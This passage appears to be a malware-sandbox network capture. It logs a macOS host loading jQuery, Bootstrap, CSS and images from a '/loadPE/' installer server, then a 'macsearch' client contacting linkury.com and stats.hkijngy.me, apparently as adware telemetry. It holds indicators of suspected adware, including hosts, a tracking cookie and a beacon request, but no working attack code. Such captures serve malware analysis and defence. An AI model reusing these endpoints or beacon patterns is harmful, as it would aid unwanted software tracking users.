62 29 29 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 63 5b 74 68 69 73 5d 3d 61 7d 29 3b 72 65 74 75 72 6e 20 63 7d 66 75 6e 63 74 69 6f 6e 20 63 74 28 29 7b 63 72 3d 62 7d 66 75 6e 63 74 69 6f 6e 20 63 73 28 29 7b 73 65 74 54 69 6d 65 6f 75 74 28 63 74 2c 30 29 3b 72 65 74 75 72 6e 20 63 72 3d 66 2e 6e 6f 77 28 29 7d 66 75 6e 63 74 69 6f 6e 20 63 6a 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 41 63 74 69 76 65 58 4f 62 6a 65 63 74 28 22 4d 69 63 72 6f 73 6f 66 74 2e 58 4d 4c 48 54 54 50 22 29 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 74 69 6f 6e 20 63 69 28 29 7b 74 72 79 7b 72 65 74 75 72 6e 20 6e 65 77 20 61 2e 58 4d 4c 48 74 74 70 52 65 71 75 65 73 74 7d 63 61 74 63 68 28 62 29 7b 7d 7d 66 75 6e 63 Data Ascii: /! jQuery v1.7.1 jquery.com \| jquery.org/license /(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView\|\|a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"\|\|e===""){cl\|\|(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm\|\|!cl.createElement)cm=(cl.contentWindow\|\|cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"<!doctype html>":"")+"<html><body>"),cm.close();d=cm.createElement(a),cm.body.appendChild(d),e=f.css(d,"display"),b.removeChild(cl)}ck[a]=e}return ck[a]}function cu(a,b){var c={};f.each(cq.concat.apply([],cq.slice(0,b)),function(){c[this]=a});return c}function ct(){cr=b}function cs(){setTimeout(ct,0);return cr=f.now()}function cj(){try{return new a.ActiveXObject("Microsoft.XMLHTTP")}catch(b){}}function ci(){try{return new a.XMLHttpRequest}catch(b){}}func
Feb 14, 2019 12:59:31.447098017 MEZ	648	OUT	GET /loadPE/Image/loading.gif HTTP/1.1 Host: 34.225.153.59:10000 Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Connection: keep-alive Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Referer: http://34.225.153.59:10000/loadPE/LastPage.html Accept-Encoding: gzip, deflate
Feb 14, 2019 12:59:31.542779922 MEZ	649	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:31 GMT Content-Type: image/gif Content-Length: 2993 Last-Modified: Wed, 11 Oct 2017 14:27:31 GMT Connection: keep-alive ETag: "59de2a53-bb1" Accept-Ranges: bytes Data Raw: 47 49 46 38 39 61 20 00 20 00 c6 00 00 ff ff ff fc fc fe fc fd fe f9 fa fd f9 fa fc f6 f8 fb f6 f7 fb f5 f7 fb f2 f5 fa f3 f5 fa f0 f3 f9 ef f2 f9 ec f0 f7 ec f0 f8 e9 ed f6 e6 eb f5 e5 eb f5 e5 ea f5 e3 e9 f4 e2 e8 f4 e0 e6 f3 df e6 f2 df e5 f2 df e5 f3 dc e3 f1 d9 e1 f0 d9 e0 f0 d6 de ef d2 db ee d2 db ed d3 db ed d0 d9 ec cf d9 ec cd d7 eb cc d6 ea cc d6 eb c6 d2 e8 c5 d1 e8 c0 cd e6 bf cc e5 bc c9 e4 bc ca e4 b9 c7 e3 b9 c6 e3 b3 c2 e1 b2 c2 e0 b2 c1 e0 b3 c2 e0 b0 c0 df af bf df ac bc de a6 b8 db a5 b7 db a6 b7 db a0 b3 d9 9f b2 d9 99 ae d6 99 ad d6 95 ab d5 96 ab d5 90 a6 d3 8f a5 d2 8c a4 d1 8c a3 d1 83 9c cd 80 99 cc 7f 99 cc 79 94 ca 73 8f c7 72 8e c6 70 8d c6 66 85 c2 65 84 c1 60 80 bf 5f 7f bf 59 7b bc 50 73 b9 4f 72 b9 4d 70 b7 40 66 b2 40 66 b3 3f 65 b2 33 5c ad 30 59 ac 20 4d a6 10 40 9f 00 33 99 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 21 ff 0b 4e 45 54 53 43 41 50 45 32 2e 30 03 01 00 00 00 21 f9 04 05 08 00 7f 00 2c 00 00 00 00 20 00 20 00 00 07 fe 80 7f 82 83 84 84 27 54 54 27 85 8b 8c 84 1a 10 84 55 56 56 55 84 04 07 8d 8c 38 52 52 8a 82 93 93 83 0b 23 23 0f 99 85 47 9c 4e 08 9f a0 82 01 1c a4 1a a7 84 41 9c 52 38 ad a1 7f 0f a4 23 17 b4 83 0f 4f 9c 4f 90 a0 56 7f 04 20 a4 20 03 c1 83 9b 9c 41 7f c8 7f 17 be a6 99 25 3f 37 0c 82 09 4e b7 22 4c 41 41 49 08 be 1c 02 82 04 16 1a df 82 13 47 f4 46 2d 07 00 2f 52 4b 21 8b 08 1b 23 1a 00 08 10 81 19 29 4c 7f 1a d0 5b 38 a4 04 80 19 a7 1c 00 60 10 cb d7 88 67 82 3e 0c 59 48 2f 45 30 07 16 47 70 58 50 a8 00 0b 23 f4 80 40 fb 03 70 04 88 07 ec 18 35 b0 71 24 c3 ca 74 17 30 9e b2 b9 f2 0f ab 45 11 6a e4 18 3a d4 d3 4a 0c 21 39 20 b8 41 94 e8 88 9e bc 42 ba 64 da 34 c7 d3 9e bd 42 be 14 da 54 05 54 6c 16 95 32 fa 79 33 98 bb 11 64 69 a5 b3 40 a0 11 41 83 85 1b 56 b6 04 11 21 40 a1 05 15 7d 39 f8 98 94 64 bb a4 02 f7 66 92 d8 20 2f a9 b6 7f 0c f8 7a 29 00 40 83 11 1b d2 0a fa 17 10 80 80 07 06 47 18 18 d4 40 43 ce 57 79 11 58 88 10 01 43 3a 52 1c ec fe 19 70 41 43 83 53 59 7f fd b1 78 2d 5b cf 65 cd 9e d1 1e 60 10 04 e2 60 60 4b 09 a2 1d 95 14 30 68 1a 50 c7 24 2e a0 e2 2c 68 59 fd ce f6 25 8a 94 36 68 06 74 fe e9 4d 68 c0 66 a8 85 10 70 10 0b 2d 10 00 21 f9 04 05 08 00 7f 00 2c 00 00 00 00 19 00 12 00 00 07 b0 80 7f 82 83 84 84 22 4e 4e 22 85 8b 84 13 85 4f 52 52 4f 84 16 20 8c 7f 2c 47 47 96 82 91 91 83 31 56 56 41 8c 3e 9a 43 83 9e 52 82 0b 54 a2 50 8c 36 9a 47 2c 9d 9e 82 41 a2 56 49 97 46 9a 46 b6 9f 16 55 a2 55 14 97 99 9a 36 7f aa 7f 49 ba a4 82 1a 2e 27 84 43 b3 1a 44 38 38 41 27 ba 54 0a 82 0c 39 e4 37 8a 7f 24 47 40 Data Ascii: GIF89a ysrpfe`_Y{PsOrMp@f@f?e3\0Y M@3!NETSCAPE2.0!, 'TT'UVVU8RR##GNAR8#OOV A%?7N"LAAIGF-/RK!#)L[8`g>YH/E0GpXP#@p5q$t0Ej:J!9 ABd4BTTl2y3di@AV!@}9df /z)@G@CWyXC:RpACSYx-[e```K0hP$.,hY%6htMhfp-!,"NN"ORRO ,GG1VVA>CRTP6G,AVIFFUU6I.'CD88A'T97$G@
Feb 14, 2019 12:59:37.142788887 MEZ	654	OUT	GET /loadPE/Image/clean.png HTTP/1.1 Host: 34.225.153.59:10000 Accept: image/png,image/svg+xml,image/;q=0.8,/*;q=0.5 Connection: keep-alive Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Referer: http://34.225.153.59:10000/loadPE/LastPage.html Accept-Encoding: gzip, deflate
Feb 14, 2019 12:59:37.238575935 MEZ	655	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:37 GMT Content-Type: image/png Content-Length: 31872 Last-Modified: Wed, 11 Oct 2017 14:27:31 GMT Connection: keep-alive ETag: "59de2a53-7c80" Accept-Ranges: bytes Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 00 00 00 01 00 08 06 00 00 00 5c 72 a8 66 00 00 7c 47 49 44 41 54 78 5e ec d4 c1 8a 13 5b 18 45 e1 b5 d3 6d 4f 34 e6 6d 55 a4 b9 48 a3 28 4e 9c 09 a2 3e 65 79 27 26 55 db 90 a2 39 83 e0 50 4c 70 7d b0 39 05 35 fe 57 da f2 6f 92 b4 e1 4f 91 64 00 24 19 00 49 06 40 92 01 90 64 00 24 19 00 49 06 40 92 01 90 64 00 24 19 00 49 06 40 92 01 90 64 00 24 19 00 49 06 40 92 01 90 64 00 24 19 00 49 06 40 92 01 90 64 00 24 19 00 49 06 40 d2 2d 40 12 86 61 90 f4 ec 13 a1 d0 05 e8 ba ff 5f d0 eb 0e c0 6f 49 7a fe 99 74 01 16 e8 cc 99 a7 1f 49 ca 49 80 e9 25 bd f2 00 48 da 7d 21 2d 74 26 00 05 08 50 c2 40 a0 0c dd 7e 20 00 d3 2b 7a 65 01 90 b4 fb 4a 28 b4 eb 0b e4 b4 71 f8 61 a0 d0 70 52 18 db be 27 14 a6 d7 f4 0a 02 20 69 f7 6d 1c fd f9 d8 8c 7f 43 38 59 80 9e ad 74 fb 96 4c f7 d4 00 5c 28 69 f7 9d 50 1e 6d ce 0e 7f 2c eb bb 0a 94 b1 65 84 80 99 81 ed 03 4c ff 51 03 70 89 e4 f1 03 67 07 3f 76 33 de e3 4a 02 81 00 94 ae 87 1f 4e ef 1c 98 81 3c 06 a1 b4 00 db 37 c0 02 d3 03 bd cc 00 48 1e ff f9 c1 c3 2d c7 e5 b8 c2 06 72 03 04 28 d0 90 71 f8 70 20 c7 95 40 67 20 21 4b 61 81 02 94 0b 63 00 e4 f1 97 0d 1c b7 be eb d1 97 27 a7 17 ee d6 6f ee 42 d6 7f 10 08 c0 92 64 4e d9 03 07 c8 3e f0 13 ba 2f 39 90 1e 28 33 14 92 a5 c0 f6 be b4 f0 e3 1d 35 00 7f 81 f4 8b bd f3 80 96 a3 b8 f2 fe ff 56 f7 bc 1c 95 73 0e 88 9c 2d 24 40 09 ec 75 c2 c6 f6 1a 8c e3 e2 b4 b6 71 c4 09 db bb f6 7a 9d d7 d9 bb de f5 ae 03 39 da 20 44 ce 19 81 04 08 49 08 05 94 51 78 4f 7a 69 5e 9e 99 ee ba 5f 77 55 7d 53 67 ba 27 3c 14 b0 80 b9 cf e5 ee e9 e9 f7 7c 8e e1 77 73 dd ca 81 3f ee ea 27 c2 45 40 25 eb 6b 15 03 15 00 55 2a 5e 04 9a 44 02 67 02 3c 1a 19 7a 1c 19 b1 91 08 69 02 a5 81 f0 0a 87 c1 82 c0 c4 4c 00 31 40 60 d6 17 c9 44 20 66 ae bb 0c d4 fb 63 70 59 01 bc 9a 52 96 32 fc 7f 06 81 f3 c2 ef 9a 55 09 05 3c aa f5 3d d5 10 50 05 a6 2a b8 fc 0f 5e 3f 7f 62 70 1f 6a fd 7e 20 d1 c0 17 57 0e e7 b5 8e 97 f8 ae 60 a7 03 c0 20 01 fd 0c 56 7f 93 89 45 78 2f 49 02 c4 be d6 07 2c 19 04 02 73 dd 37 40 bd 3f 05 97 15 c0 ab 25 65 29 c3 8f 82 f0 57 98 55 a5 e0 d7 e0 d7 00 54 a7 3e 57 f0 39 7e 8a ff 99 53 3a c7 cf 1e e0 25 01 80 8f c3 f0 cc 2f ab fd c4 77 04 9c 76 00 09 30 bb cc 3c c0 90 42 4a 16 44 04 86 cc 48 84 3f c6 13 00 01 60 ae fb 3a a8 f7 67 e0 bf 9f 02 28 4b 59 ca f0 27 0c fc 95 d0 d0 57 13 51 3d 18 b5 00 d5 73 42 2e 06 f8 13 a6 41 08 30 0b 64 14 41 1f 4f 19 ac e9 ff 61 3d 1a ff cd 81 db ca 2c 89 99 85 0f c9 04 1f c4 24 25 91 22 9f 49 06 0b 00 58 92 7a c0 65 0f e0 ef 27 65 29 c3 6f 5d 7e 02 55 87 c0 13 14 f8 8d 44 54 27 9d 00 7e e2 8f 40 9a ea be b4 4a 20 14 82 7e 56 e7 34 4c 76 1c e7 7b ae ef fe 50 b0 d3 c2 ec 27 7c 0a 7e e0 3b 1e 7b f0 d9 17 60 fd ae 84 f4 25 81 18 ec 03 84 ba 4b 19 2c 81 be 5f 81 cb 0a e0 50 4a 59 ca f0 ff 05 04 2e 69 f9 ab 08 54 03 a0 86 40 75 04 d4 03 a2 91 c9 5f c8 24 3f ac Data Ascii: PNGIHDR\rf\|GIDATx^[EmO4mUH(N>ey'&U9PLp}95WoOd$I@d$I@d$I@d$I@d$I@d$I@-@a_oIztII%H}!-t&P@~ +zeJ(qapR' imC8YtL\(iPm,eLQpg?v3JN<7H-r(qp @g !Kac'oBdN>/9(35Vs-$@uqz9 DIQxOzi^_wU}Sg'<\|ws?'E@%kU^Dg<ziL1@`D fcpYR2U<=P^?bpj~ W` VEx/I,s7@?%e)WUT>W9~S:%/wv0<BJDH?`:g(KY'WQ=sB.A0dAOa=,$%"IXze'e)o]~UDT'~@J ~V4Lv{P'\|~;{`%K,_PJY.iT@u_$?

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.0.50	49285	34.225.153.59	10000

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:26.539051056 MEZ	37	OUT	GET /loadPE//bootstrap/css/bootstrap.min.css HTTP/1.1 Host: 34.225.153.59:10000 Accept: text/css,/;q=0.1 Connection: keep-alive Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Referer: http://34.225.153.59:10000/loadPE//ListOffers.php Accept-Encoding: gzip, deflate
Feb 14, 2019 12:59:26.635695934 MEZ	65	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:26 GMT Content-Type: text/css Content-Length: 121200 Last-Modified: Wed, 11 Oct 2017 14:27:38 GMT Connection: keep-alive ETag: "59de2a5a-1d970" Accept-Ranges: bytes Data Raw: 2f 2a 21 0a 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 33 2e 33 2e 37 20 28 68 74 74 70 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 29 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 36 20 54 77 69 74 74 65 72 2c 20 49 6e 63 2e 0a 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 2a 2f 2f 2a 21 20 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 76 33 2e 30 2e 33 20 7c 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 7c 20 67 69 74 68 75 62 2e 63 6f 6d 2f 6e 65 63 6f 6c 61 73 2f 6e 6f 72 6d 61 6c 69 7a 65 2e 63 73 73 20 2a 2f 68 74 6d 6c 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 73 61 6e 73 2d 73 65 72 69 66 3b 2d 77 65 62 6b 69 74 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 3b 2d 6d 73 2d 74 65 78 74 2d 73 69 7a 65 2d 61 64 6a 75 73 74 3a 31 30 30 25 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 30 7d 61 72 74 69 63 6c 65 2c 61 73 69 64 65 2c 64 65 74 61 69 6c 73 2c 66 69 67 63 61 70 74 69 6f 6e 2c 66 69 67 75 72 65 2c 66 6f 6f 74 65 72 2c 68 65 61 64 65 72 2c 68 67 72 6f 75 70 2c 6d 61 69 6e 2c 6d 65 6e 75 2c 6e 61 76 2c 73 65 63 74 69 6f 6e 2c 73 75 6d 6d 61 72 79 7b 64 69 73 70 6c 61 79 3a 62 6c 6f 63 6b 7d 61 75 64 69 6f 2c 63 61 6e 76 61 73 2c 70 72 6f 67 72 65 73 73 2c 76 69 64 65 6f 7b 64 69 73 70 6c 61 79 3a 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 61 75 64 69 6f 3a 6e 6f 74 28 5b 63 6f 6e 74 72 6f 6c 73 5d 29 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 3b 68 65 69 67 68 74 3a 30 7d 5b 68 69 64 64 65 6e 5d 2c 74 65 6d 70 6c 61 74 65 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 61 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 7d 61 3a 61 63 74 69 76 65 2c 61 3a 68 6f 76 65 72 7b 6f 75 74 6c 69 6e 65 3a 30 7d 61 62 62 72 5b 74 69 74 6c 65 5d 7b 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 3a 31 70 78 20 64 6f 74 74 65 64 7d 62 2c 73 74 72 6f 6e 67 7b 66 6f 6e 74 2d 77 65 69 67 68 74 3a 37 30 30 7d 64 66 6e 7b 66 6f 6e 74 2d 73 74 79 6c 65 3a 69 74 61 6c 69 63 7d 68 31 7b 6d 61 72 67 69 6e 3a 2e 36 37 65 6d 20 30 3b 66 6f 6e 74 2d 73 69 7a 65 3a 32 65 6d 7d 6d 61 72 6b 7b 63 6f 6c 6f 72 3a 23 30 30 30 3b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 30 7d 73 6d 61 6c 6c 7b 66 6f 6e 74 2d 73 69 7a 65 3a 38 30 25 7d 73 75 62 2c 73 75 70 7b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 66 6f 6e 74 2d 73 69 7a 65 3a 37 35 25 3b 6c 69 6e 65 2d 68 65 69 67 68 74 3a 30 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 62 61 73 65 6c 69 6e 65 7d 73 75 70 7b 74 6f 70 3a 2d 2e 35 65 6d 7d 73 75 62 7b 62 6f 74 74 6f 6d 3a 2d 2e 32 35 65 6d 7d 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 73 76 67 3a 6e Data Ascii: /! Bootstrap v3.3.7 (http://getbootstrap.com) * Copyright 2011-2016 Twitter, Inc. * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) //! normalize.css v3.0.3 \| MIT License \| github.com/necolas/normalize.css */html{font-family:sans-serif;-webkit-text-size-adjust:100%;-ms-text-size-adjust:100%}body{margin:0}article,aside,details,figcaption,figure,footer,header,hgroup,main,menu,nav,section,summary{display:block}audio,canvas,progress,video{display:inline-block;vertical-align:baseline}audio:not([controls]){display:none;height:0}[hidden],template{display:none}a{background-color:transparent}a:active,a:hover{outline:0}abbr[title]{border-bottom:1px dotted}b,strong{font-weight:700}dfn{font-style:italic}h1{margin:.67em 0;font-size:2em}mark{color:#000;background:#ff0}small{font-size:80%}sub,sup{position:relative;font-size:75%;line-height:0;vertical-align:baseline}sup{top:-.5em}sub{bottom:-.25em}img{border:0}svg:n
Feb 14, 2019 12:59:31.090450048 MEZ	358	OUT	GET /loadPE/CSS/MacStyle.css HTTP/1.1 Host: 34.225.153.59:10000 Accept: text/css,/;q=0.1 Connection: keep-alive Cookie: a862a6096792e35ad3375e3a94312fe4ba1df5aa=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1wiY2FtcGFpZ25zXCI6e1wiMlwiOjE1NTAxNDU1NjZ9LFwidGltZVwiOjE1NTAxNDU1NjZ9In0.KmGO_kmjL1a7NGYfAZEtR0CtNdS9mDg-LzDrIMRpAhM User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_2) AppleWebKit/604.4.7 (KHTML, like Gecko) Accept-Language: en-us Referer: http://34.225.153.59:10000/loadPE/LastPage.html Accept-Encoding: gzip, deflate
Feb 14, 2019 12:59:31.186156034 MEZ	361	IN	HTTP/1.1 200 OK Server: nginx/1.10.2 Date: Thu, 14 Feb 2019 11:59:31 GMT Content-Type: text/css Content-Length: 9543 Last-Modified: Wed, 11 Oct 2017 14:27:31 GMT Connection: keep-alive ETag: "59de2a53-2547" Accept-Ranges: bytes Data Raw: 2f 2a 20 43 53 53 20 66 6f 72 20 4c 61 79 6f 75 74 20 2a 2f 0a 0a 62 6f 64 79 20 7b 0a 20 20 20 20 70 61 64 64 69 6e 67 3a 20 31 39 70 78 3b 0a 7d 0a 0a 2e 6f 73 78 20 7b 0a 2f 2a 20 20 20 66 6c 6f 61 74 3a 20 6c 65 66 74 3b 2a 2f 0a 20 20 63 6c 65 61 72 3a 20 62 6f 74 68 3b 0a 20 20 20 77 69 64 74 68 3a 20 31 30 30 70 78 3b 0a 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 31 30 70 78 3b 0a 20 20 20 20 20 0a 7d 0a 0a 23 6f 6b 2c 20 23 61 70 70 6c 65 2c 20 23 68 65 6c 70 2c 20 23 69 6e 70 75 74 2c 20 23 64 69 76 2c 20 23 61 2c 20 23 62 6f 6c 64 20 7b 0a 63 6c 65 61 72 3a 6e 6f 6e 65 3b 0a 7d 0a 0a 2f 2a 20 43 53 53 20 66 6f 72 20 42 75 74 74 6f 6e 73 20 2a 2f 0a 0a 2e 6f 73 78 3a 65 6e 61 62 6c 65 64 2c 20 2e 6f 73 78 3a 68 6f 76 65 72 3a 65 6e 61 62 6c 65 64 20 7b 0a 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 20 6e 6f 6e 65 3b 20 74 65 78 74 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 72 67 62 61 28 32 35 35 2c 32 35 35 2c 32 35 35 2c 2e 32 29 3b 0a 7d 0a 2e 6f 73 78 2c 20 2e 6f 73 78 3a 68 6f 76 65 72 20 7b 0a 0a 20 20 0a 20 20 20 66 6f 6e 74 3a 20 20 34 30 30 20 31 33 70 78 2f 31 39 70 78 20 22 48 65 6c 76 65 74 69 63 61 20 4e 65 75 65 22 2c 20 41 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 0a 2d 77 65 62 6b 69 74 2d 74 61 70 2d 68 69 67 68 6c 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 74 72 61 6e 73 70 61 72 65 6e 74 3b 0a 0a 20 20 70 61 64 64 69 6e 67 3a 20 36 70 78 20 31 34 70 78 20 3b 20 0a 20 20 20 20 0a 20 20 62 6f 72 64 65 72 3a 20 31 70 78 20 73 6f 6c 69 64 3b 0a 20 20 62 6f 72 64 65 72 2d 74 6f 70 2d 63 6f 6c 6f 72 3a 20 23 39 64 39 64 39 64 3b 20 62 6f 72 64 65 72 2d 62 6f 74 74 6f 6d 2d 63 6f 6c 6f 72 3a 20 23 39 33 39 33 39 33 3b 0a 20 20 62 6f 72 64 65 72 2d 6c 65 66 74 2d 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 20 62 6f 72 64 65 72 2d 72 69 67 68 74 2d 63 6f 6c 6f 72 3a 20 23 39 34 39 34 39 34 3b 0a 0a 20 20 2d 77 65 62 6b 69 74 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 20 20 20 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 29 3b 0a 20 20 2d 6d 6f 7a 2d 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 20 2d 6d 6f 7a 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 29 3b 0a 20 20 62 6f 72 64 65 72 2d 72 61 64 69 75 73 3a 20 34 70 78 3b 20 20 20 2d 77 65 62 6b 69 74 2d 62 6f 78 2d 73 68 61 64 6f 77 3a 20 30 20 31 70 78 20 72 67 62 61 28 30 2c 30 2c 30 2c 30 2e 31 29 3b 0a 20 20 20 20 0a 20 20 2d 77 65 62 6b 69 74 2d 61 70 70 65 61 72 61 6e 63 65 3a 20 6e 6f 6e 65 3b 0a 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 23 66 66 66 66 66 66 3b 20 2f 2a 20 4f 6c 64 20 62 72 6f 77 73 65 72 73 20 2a 2f 0a 0a 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 20 2d 77 65 62 6b 69 74 2d 67 72 61 64 69 65 6e 74 28 6c 69 6e 65 61 72 2c Data Ascii: /* CSS for Layout /body { padding: 19px;}.osx {/ float: left;/ clear: both; width: 100px; margin-left: 10px; }#ok, #apple, #help, #input, #div, #a, #bold {clear:none;}/ CSS for Buttons /.osx:enabled, .osx:hover:enabled { color: #000; text-decoration: none; text-shadow: 0 1px rgba(255,255,255,.2);}.osx, .osx:hover { font: 400 13px/19px "Helvetica Neue", Arial, sans-serif;-webkit-tap-highlight-color: transparent; padding: 6px 14px ; border: 1px solid; border-top-color: #9d9d9d; border-bottom-color: #939393; border-left-color: #949494; border-right-color: #949494; -webkit-border-radius: 4px; box-shadow: 0 1px rgba(0,0,0,0.1); -moz-border-radius: 4px; -moz-box-shadow: 0 1px rgba(0,0,0,0.1); border-radius: 4px; -webkit-box-shadow: 0 1px rgba(0,0,0,0.1); -webkit-appearance: none; background: #ffffff; / Old browsers */ background: -webkit-gradient(linear,

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.0.50	49295	13.66.51.223	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:49.208233118 MEZ	2543	OUT	GET /StateStatisticsService.svc/V1/JSON/GetDistributorIdFromNameHttpGet?distributorName=mcwnet HTTP/1.1 Host: svc-stats.linkury.com Accept: / Accept-Language: en-us Connection: keep-alive Accept-Encoding: gzip, deflate User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64)
Feb 14, 2019 12:59:49.335720062 MEZ	2543	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 13 Content-Type: application/json; charset=utf-8 Expires: -1 Server: Microsoft-IIS/7.5 Set-Cookie: ASP.NET_SessionId=qhmy2hp13mzyx4e4birm32rk; path=/; HttpOnly X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Date: Thu, 14 Feb 2019 11:59:48 GMT Data Raw: 7b 22 64 22 3a 22 35 32 34 31 33 22 7d Data Ascii: {"d":"52413"}

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.0.50	49296	13.66.51.223	80

Timestamp	kBytes transferred	Direction	Data
Feb 14, 2019 12:59:49.509336948 MEZ	2544	OUT	POST /StatisticsService.svc/V1/JSON/LogEvent HTTP/1.1 Host: stats.hkijngy.me Content-Type: application/json Connection: keep-alive Accept: / User-Agent: macsearch/1 CFNetwork/893.13.1 Darwin/17.3.0 (x86_64) Content-Length: 503 Accept-Language: en-us Accept-Encoding: gzip, deflate
